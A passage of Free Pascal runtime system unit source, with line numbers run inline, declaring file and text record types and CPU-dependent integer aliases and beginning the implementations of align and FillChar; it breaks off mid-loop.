Pointer); 566 | vtQWord : (VQWord: PQWord); 567 | End; 568 | 569 | const 570 | {$ifdef CPUAVR} 571 | filerecnamelength = 15; 572 | {$else CPUAVR} 573 | filerecnamelength = 255; 574 | {$endif CPUAVR} 575 | type 576 | 577 | 578 | UnicodeChar = WideChar; 579 | PUnicodeChar = ^UnicodeChar; 580 | PUnicodeString = ^UnicodeString; 581 | 582 | TFileTextRecChar = {$if defined(FPC_ANSI_TEXTFILEREC) or not(defined(FPC_HAS_FEATURE_WIDESTRINGS))}AnsiChar{$else}UnicodeChar{$endif}; 583 | PFileTextRecChar = ^TFileTextRecChar; 584 | { using packed makes the compiler to generate ugly code on some CPUs, further 585 | using packed causes the compiler to handle arrays of text wrongly, see see tw0754 e.g. on arm } 586 | FileRec = {$ifdef VER2_6} packed {$endif} Record 587 | Handle : THandle; 588 | {$if defined(CPU8) or defined(CPU16)} 589 | Mode : Word; 590 | {$else} 591 | Mode : longint; 592 | {$endif} 593 | RecSize : SizeInt; 594 | _private : array[1..3 * SizeOf(SizeInt) + 5 * SizeOf (pointer)] of byte; 595 | UserData : array[1..32] of byte; 596 | name : array[0..filerecnamelength] of TFileTextRecChar; 597 | End; 598 | TFileRec=FileRec; 599 | 600 | const 601 | {$ifdef CPUAVR} 602 | TextRecNameLength = 16; 603 | TextRecBufSize = 16; 604 | {$else CPUAVR} 605 | TextRecNameLength = 256; 606 | TextRecBufSize = 256; 607 | {$endif CPUAVR} 608 | type 609 | TLineEndStr = string [3]; 610 | TextBuf = array[0..TextRecBufSize-1] of ansichar; 611 | TTextBuf = TextBuf; 612 | 613 | { using packed makes the compiler to generate ugly code on some CPUs, further 614 | using packed causes the compiler to handle arrays of text wrongly, see see tw0754 e.g. on arm } 615 | TextRec = {$ifdef VER2_6} packed {$endif} Record 616 | Handle : THandle; 617 | {$if defined(CPU8) or defined(CPU16)} 618 | Mode : Word; 619 | {$else} 620 | Mode : longint; 621 | {$endif} 622 | bufsize : SizeInt; 623 | _private : SizeInt; 624 | bufpos, 625 | bufend : SizeInt; 626 | bufptr : ^textbuf; 627 | openfunc, 628 | inoutfunc, 629 | flushfunc, 630 | closefunc : codepointer; 631 | UserData : array[1..32] of byte; 632 | name : array[0..textrecnamelength-1] of TFileTextRecChar; 633 | LineEnd : TLineEndStr; 634 | buffer : textbuf; 635 | {$ifdef FPC_HAS_CPSTRING} 636 | CodePage : TSystemCodePage; 637 | {$endif} 638 | End; 639 | 640 | TTextRec=TextRec; 641 | 642 | {$if defined(VER2) or defined(VER3_0)} 643 | {$if defined(CPU16)} 644 | {$define CPUINT16} 645 | {$elseif defined(CPU32)} 646 | {$define CPUINT32} 647 | {$elseif defined(CPU64)} 648 | {$define CPUINT64} 649 | {$endif defined(CPU64)} 650 | {$endif defined(VER2) or defined(VER3_0)} 651 | 652 | {$if defined(CPUINT8)} 653 | ALUSInt = ShortInt; 654 | ALUUInt = Byte; 655 | {$elseif defined(CPUINT16)} 656 | ALUSInt = SmallInt; 657 | ALUUInt = Word; 658 | {$elseif defined(CPUINT32)} 659 | ALUSInt = Longint; 660 | ALUUInt = DWord; 661 | {$elseif defined(CPUINT64)} 662 | ALUSInt = Int64; 663 | ALUUInt = QWord; 664 | {$endif defined(CPUINT64)} 665 | 666 | PPtrUInt = ^PtrUInt; 667 | 668 | 669 | procedure FPC_INITIALIZEUNITS; compilerproc; 670 | procedure FPC_LIBINITIALIZEUNITS(); compilerproc; 671 | 672 | procedure FPC_DO_EXIT; compilerproc; 673 | 674 | procedure _exit();assembler; 675 | 676 | procedure fpc_fillmem(out data;len:sizeuint;b : byte);compilerproc; 677 | 678 | // procedure Move(const source;var dest;count:SizeInt); 679 | 680 | procedure FillByte (var x;count : {$ifdef FILLCHAR_HAS_SIZEUINT_COUNT}SizeUInt{$else}SizeInt{$endif};value : byte ); 681 | 682 | function SwapEndian(const AValue: Word): Word;{$ifdef SYSTEMINLINE}inline;{$endif}overload; 683 | function SwapEndian(const AValue: DWord): DWord;{$ifdef SYSTEMINLINE}inline;{$endif}overload; 684 | 685 | implementation 686 | 687 | 688 | Function TVmt.GetvParent: PVmt; 689 | Begin 690 | GetvParent := Nil; 691 | End; 692 | 693 | {$ifndef cpujvm} 694 | function align(addr : Pointer;alignment : PtrUInt) : Pointer;{$ifdef SYSTEMINLINE}inline;{$endif} 695 | var 696 | tmp: PtrUInt; 697 | begin 698 | tmp:=PtrUInt(addr)+(alignment-1); 699 | result:=pointer(tmp-(tmp mod alignment)); 700 | end; 701 | {$endif} 702 | 703 | {$ifndef FPC_SYSTEM_HAS_FILLCHAR} 704 | Procedure FillChar(Var x;count:SizeInt;value:byte); 705 | 706 | Var 707 | pdest,pend : pbyte; 708 | v : ALUUInt; 709 | Begin 710 | If count <= 0 Then 711 | exit; 712 | pdest := @x; 713 | If Count>4*sizeof(ptruint)-1 Then 714 | Begin 715 | {$if sizeof(v)>=2} 716 | v := (value shl 8) Or value; 717 | {$endif sizeof(v)>=2} 718 | {$if sizeof(v)>=4} 719 | v := (v shl 16) Or v; 720 | {$endif sizeof(v)>=4} 721 | {$if sizeof(v)=8} 722 | v := (v shl 32) Or v; 723 | {$endif sizeof(v)=8} 724 | { Align on native pointer size } 725 | pend := pbyte(align(pdest,sizeof(PtrUInt))); 726 | dec(count,pend-pdest); 727 | While pdest